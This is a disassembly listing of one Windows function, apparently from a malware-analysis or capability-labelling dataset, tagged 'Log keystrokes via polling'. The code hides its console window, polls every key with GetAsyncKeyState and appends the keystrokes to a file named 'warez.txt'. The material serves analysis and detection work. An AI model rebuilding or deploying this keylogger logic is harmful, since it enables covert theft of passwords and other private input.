Function at 0x14001180c
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x140023d60
push rbp
push rdi
sub rsp, 0xa28
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140037040]
xor rax, rbp
mov qword [rbp + 0x9e8], rax
lea rcx, [0x140040109]
call fcn.140011bcc
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
mov edx, 0x108
lea rcx, [rbp + 0x30]
call fcn.1400114ba
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x10
lea rdx, str.warez.txt
lea rcx, [rbp + 0x30]
call fcn.1400114a1
nop
lea rcx, [rbp + 0x30]
call fcn.140011613
nop
mov edx, 0x108
lea rcx, [rbp + 0x160]
call fcn.1400114ba
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.warez.txt
lea rcx, [rbp + 0x160]
call fcn.1400114a1
nop
lea rcx, [rbp + 0x160]
call fcn.140011839
movzx eax, al
test eax, eax
jne 0x140023e69
mov dword [rbp + 0x9b4], 1
lea rcx, [rbp + 0x160]
call fcn.140011325
nop
lea rcx, [rbp + 0x30]
call fcn.140011325
mov eax, dword [rbp + 0x9b4]
jmp 0x1400241ce
mov dword [rbp + 0x284], 0
jmp 0x140023e83
mov eax, dword [rbp + 0x284]
inc eax
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0x100
jge 0x140023ea7
lea rdx, [rbp + 0x284]
lea rcx, [0x1400377d0]
call fcn.140011834
mov byte [rax], 0
jmp 0x140023e75
xor eax, eax
cmp eax, 1
je 0x14002419b
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140023f2c
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
jne 0x140023efd
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140023f2c
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140023f2c
mov ecx, 0x5a
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140023f2c
jmp 0x14002419b
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140023f53
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
call fcn.1400116a4
nop
mov dword [rbp + 0x2a4], 0
jmp 0x140023f6d
mov eax, dword [rbp + 0x2a4]
inc eax
mov dword [rbp + 0x2a4], eax
cmp dword [rbp + 0x2a4], 0x100
jge 0x140024196
mov ecx, dword [rbp + 0x2a4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [rbp + 0x2c4], ax
movsx eax, word [rbp + 0x2c4]
and eax, 0x8000
test eax, eax
je 0x14002417b
lea rdx, [rbp + 0x2a4]
lea rcx, [0x1400377d0]
call fcn.140011834
movzx eax, byte [rax]
test eax, eax
jne 0x140024179
mov edx, dword [rbp + 0x2a4]
lea rcx, [rbp + 0x2e8]
call fcn.1400111e5
nop
lea rdx, [0x140030ede]
lea rcx, [rbp + 0x2e8]
call fcn.14001134d
movzx eax, al
test eax, eax
je 0x140024156
lea rdx, [0x140031170]
lea rcx, [rbp + 0x2e8]
call fcn.1400114c4
movzx eax, al
test eax, eax
je 0x140024134
mov edx, 0x110
lea rcx, [rbp + 0x330]
call fcn.14001181b
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.warez.txt
lea rcx, [rbp + 0x330]
call fcn.140011af0
nop
lea rdx, [0x1400377a8]
lea rcx, [rbp + 0x330]
call fcn.140011055
nop
lea rcx, [rbp + 0x330]
call fcn.1400116ae
nop
lea rcx, [0x1400377a8]
call fcn.140011ba4
nop
mov edx, 0x108
lea rcx, [rbp + 0x460]
call fcn.1400114ba
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x10
lea rdx, str.warez.txt
lea rcx, [rbp + 0x460]
call fcn.1400114a1
nop
mov edx, 0x108
lea rcx, [rbp + 0x590]
call fcn.1400114ba
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.warez.txt
lea rcx, [rbp + 0x590]
call fcn.1400114a1
nop
lea rdx, [0x1400377a8]
lea rcx, [rbp + 0x590]
call fcn.140011a91
nop
lea rcx, [rbp + 0x590]
call fcn.140011613
nop
lea rcx, [rbp + 0x590]
call fcn.140011325
nop
lea rcx, [rbp + 0x460]
call fcn.140011325
nop
lea rcx, [rbp + 0x330]
call fcn.1400111fe
nop
jmp 0x140024148
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x160]
call fcn.140011a91
nop
lea rcx, [rbp + 0x160]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
nop
lea rdx, [rbp + 0x2a4]
lea rcx, [0x1400377d0]
call fcn.140011834
mov byte [rax], 1
lea rcx, [rbp + 0x2e8]
call fcn.140011267
nop
jmp 0x140024191
lea rdx, [rbp + 0x2a4]
lea rcx, [0x1400377d0]
call fcn.140011834
mov byte [rax], 0
jmp 0x140023f5f
jmp 0x140023ea7
lea rcx, [rbp + 0x160]
call fcn.140011613
nop
mov dword [rbp + 0x9d4], 0
lea rcx, [rbp + 0x160]
call fcn.140011325
nop
lea rcx, [rbp + 0x30]
call fcn.140011325
mov eax, dword [rbp + 0x9d4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140030450]
call fcn.1400119b5
mov rax, rdi
mov rcx, qword [rbp + 0x9e8]
xor rcx, rbp
call fcn.1400115b4
lea rsp, [rbp + 0x9f8]
pop rdi
pop rbp
ret